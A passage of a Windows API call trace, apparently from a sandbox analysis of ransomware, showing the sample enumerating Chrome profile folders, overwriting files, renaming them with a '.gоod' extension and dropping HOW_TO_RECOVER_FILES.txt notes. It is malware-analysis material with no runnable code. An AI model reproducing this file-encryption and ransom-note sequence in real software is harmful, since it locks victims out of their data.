dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0159.747] GetFileType (hFile=0x61c) returned 0x1 [0159.747] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eb250) returned 1 [0159.747] GetFileType (hFile=0x61c) returned 0x1 [0159.747] WriteFile (in: hFile=0x61c, lpBuffer=0x3596760*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6eb468, lpOverlapped=0x0 | out: lpBuffer=0x3596760*, lpNumberOfBytesWritten=0x1f6eb468*=0x1010, lpOverlapped=0x0) returned 1 [0159.748] CloseHandle (hObject=0x61c) returned 1 [0159.748] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Local State", nBufferLength=0x105, lpBuffer=0x1f6eaf10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Local State", lpFilePart=0x0) returned 0x41 [0159.748] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Local State.gоod", nBufferLength=0x105, lpBuffer=0x1f6eaf10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Local State.gоod", lpFilePart=0x0) returned 0x46 [0159.748] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eb3a0) returned 1 [0159.748] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Local State" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\local state"), fInfoLevelId=0x0, lpFileInformation=0x1f6eb480 | out: lpFileInformation=0x1f6eb480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56b9a7a7, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xfa7de7b5, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x5b6e41df, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x12418)) returned 1 [0159.748] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eb360) returned 1 [0159.748] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Local State" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\local state"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Local State.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\local state.gоod")) returned 1 [0159.749] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eac00) returned 1 [0159.749] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency", nBufferLength=0x105, lpBuffer=0x1f6ea6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency", lpFilePart=0x0) returned 0x4d [0159.749] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\*", lpFindFileData=0x1f6ea920 | out: lpFindFileData=0x1f6ea920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fa8ee, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fa8ee, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fa8ee, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0159.749] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fa8ee, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fa8ee, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fa8ee, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0159.749] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fa8ee, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fa8ee, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fa8ee, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0159.749] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0159.749] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eab40) returned 1 [0159.749] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eab00) returned 1 [0159.750] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eac00) returned 1 [0159.750] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency", nBufferLength=0x105, lpBuffer=0x1f6ea6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency", lpFilePart=0x0) returned 0x4d [0159.750] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\*", lpFindFileData=0x1f6ea920 | out: lpFindFileData=0x1f6ea920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fa8ee, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fa8ee, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fa8ee, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0159.750] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fa8ee, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fa8ee, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fa8ee, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0159.750] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fa8ee, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fa8ee, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fa8ee, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0159.750] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0159.750] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eab40) returned 1 [0159.750] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eab00) returned 1 [0159.750] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6ea650, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x66 [0159.750] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eab70) returned 1 [0159.750] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\certificatetransparency\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x61c [0159.751] GetFileType (hFile=0x61c) returned 0x1 [0159.751] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eaae0) returned 1 [0159.751] GetFileType (hFile=0x61c) returned 0x1 [0159.751] WriteFile (in: hFile=0x61c, lpBuffer=0x36240f8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6eac38, lpOverlapped=0x0 | out: lpBuffer=0x36240f8*, lpNumberOfBytesWritten=0x1f6eac38*=0x5d0, lpOverlapped=0x0) returned 1 [0159.752] CloseHandle (hObject=0x61c) returned 1 [0159.752] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eac00) returned 1 [0159.752] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad", nBufferLength=0x105, lpBuffer=0x1f6ea6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad", lpFilePart=0x0) returned 0x3e [0159.752] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\*", lpFindFileData=0x1f6ea920 | out: lpFindFileData=0x1f6ea920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a3bd622, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4a42fd3b, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4a42fd3b, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0159.753] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a3bd622, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4a42fd3b, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4a42fd3b, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0159.753] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a42fd3b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4a42fd3b, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4a42fd3b, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="metadata", cAlternateFileName="")) returned 1 [0159.753] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a42fd3b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4a42fd3b, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4a42fd3b, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="reports", cAlternateFileName="")) returned 1 [0159.753] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a42fd3b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4a42fd3b, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xc3c501de, ftLastWriteTime.dwHighDateTime=0x1d327e6, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.dat", cAlternateFileName="")) returned 1 [0159.753] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0159.753] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0159.753] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eab40) returned 1 [0159.753] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eab00) returned 1 [0159.754] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eac00) returned 1 [0159.754] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad", nBufferLength=0x105, lpBuffer=0x1f6ea6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad", lpFilePart=0x0) returned 0x3e [0159.754] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\*", lpFindFileData=0x1f6ea920 | out: lpFindFileData=0x1f6ea920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a3bd622, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4a42fd3b, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4a42fd3b, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0159.754] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a3bd622, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4a42fd3b, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4a42fd3b, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0159.754] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a42fd3b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4a42fd3b, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4a42fd3b, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="metadata", cAlternateFileName="")) returned 1 [0159.754] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a42fd3b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4a42fd3b, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4a42fd3b, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="reports", cAlternateFileName="")) returned 1 [0159.754] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a42fd3b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4a42fd3b, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xc3c501de, ftLastWriteTime.dwHighDateTime=0x1d327e6, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.dat", cAlternateFileName="")) returned 1 [0159.754] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a42fd3b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4a42fd3b, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xc3c501de, ftLastWriteTime.dwHighDateTime=0x1d327e6, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.dat", cAlternateFileName="")) returned 0 [0159.756] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0159.756] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eab40) returned 1 [0159.756] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eab00) returned 1 [0159.756] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\metadata", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\metadata", lpFilePart=0x0) returned 0x47 [0159.756] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea9b0) returned 1 [0159.756] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\metadata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\crashpad\\metadata"), fInfoLevelId=0x0, lpFileInformation=0x3636bc0 | out: lpFileInformation=0x3636bc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a42fd3b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4a42fd3b, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4a42fd3b, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0159.756] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea970) returned 1 [0159.756] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\metadata", nBufferLength=0x105, lpBuffer=0x1f6ea340, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\metadata", lpFilePart=0x0) returned 0x47 [0160.147] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea860) returned 1 [0160.147] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\metadata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\crashpad\\metadata"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0160.148] GetFileType (hFile=0x63c) returned 0x1 [0160.148] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea7d0) returned 1 [0160.148] GetFileType (hFile=0x63c) returned 0x1 [0160.148] GetFileSize (in: hFile=0x63c, lpFileSizeHigh=0x1f6eaa08 | out: lpFileSizeHigh=0x1f6eaa08*=0x0) returned 0x0 [0160.148] CloseHandle (hObject=0x63c) returned 1 [0160.174] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\metadata", nBufferLength=0x105, lpBuffer=0x1f6ea340, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\metadata", lpFilePart=0x0) returned 0x47 [0160.174] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea860) returned 1 [0160.174] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\metadata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\crashpad\\metadata"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0160.175] GetFileType (hFile=0x63c) returned 0x1 [0160.175] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea7d0) returned 1 [0160.176] GetFileType (hFile=0x63c) returned 0x1 [0160.176] WriteFile (in: hFile=0x63c, lpBuffer=0x35307c8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6ea848, lpOverlapped=0x0 | out: lpBuffer=0x35307c8*, lpNumberOfBytesWritten=0x1f6ea848*=0x10, lpOverlapped=0x0) returned 1 [0160.176] CloseHandle (hObject=0x63c) returned 1 [0160.177] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\metadata", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\metadata", lpFilePart=0x0) returned 0x47 [0160.177] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\metadata.gоod", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\metadata.gоod", lpFilePart=0x0) returned 0x4c [0160.177] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea970) returned 1 [0160.177] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\metadata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\crashpad\\metadata"), fInfoLevelId=0x0, lpFileInformation=0x1f6eaa50 | out: lpFileInformation=0x1f6eaa50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a42fd3b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4a42fd3b, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5baea2e9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x10)) returned 1 [0160.177] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea930) returned 1 [0160.177] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\metadata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\crashpad\\metadata"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\metadata.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\crashpad\\metadata.gоod")) returned 1 [0160.178] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\settings.dat", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\settings.dat", lpFilePart=0x0) returned 0x4b [0160.178] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea9b0) returned 1 [0160.178] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\settings.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\crashpad\\settings.dat"), fInfoLevelId=0x0, lpFileInformation=0x3531a68 | out: lpFileInformation=0x3531a68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a42fd3b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4a42fd3b, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xc3c501de, ftLastWriteTime.dwHighDateTime=0x1d327e6, nFileSizeHigh=0x0, nFileSizeLow=0x28)) returned 1 [0160.178] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea970) returned 1 [0160.178] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\settings.dat", nBufferLength=0x105, lpBuffer=0x1f6ea340, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\settings.dat", lpFilePart=0x0) returned 0x4b [0160.178] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea860) returned 1 [0160.178] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\settings.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\crashpad\\settings.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0160.178] GetFileType (hFile=0x63c) returned 0x1 [0160.178] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea7d0) returned 1 [0160.178] GetFileType (hFile=0x63c) returned 0x1 [0160.178] GetFileSize (in: hFile=0x63c, lpFileSizeHigh=0x1f6eaa08 | out: lpFileSizeHigh=0x1f6eaa08*=0x0) returned 0x28 [0160.179] ReadFile (in: hFile=0x63c, lpBuffer=0x3531d48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6ea938, lpOverlapped=0x0 | out: lpBuffer=0x3531d48*, lpNumberOfBytesRead=0x1f6ea938*=0x28, lpOverlapped=0x0) returned 1 [0160.508] CloseHandle (hObject=0x63c) returned 1 [0160.535] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\settings.dat", nBufferLength=0x105, lpBuffer=0x1f6ea340, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\settings.dat", lpFilePart=0x0) returned 0x4b [0160.535] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea860) returned 1 [0160.535] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\settings.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\crashpad\\settings.dat"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0160.536] GetFileType (hFile=0x63c) returned 0x1 [0160.536] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea7d0) returned 1 [0160.536] GetFileType (hFile=0x63c) returned 0x1 [0160.536] WriteFile (in: 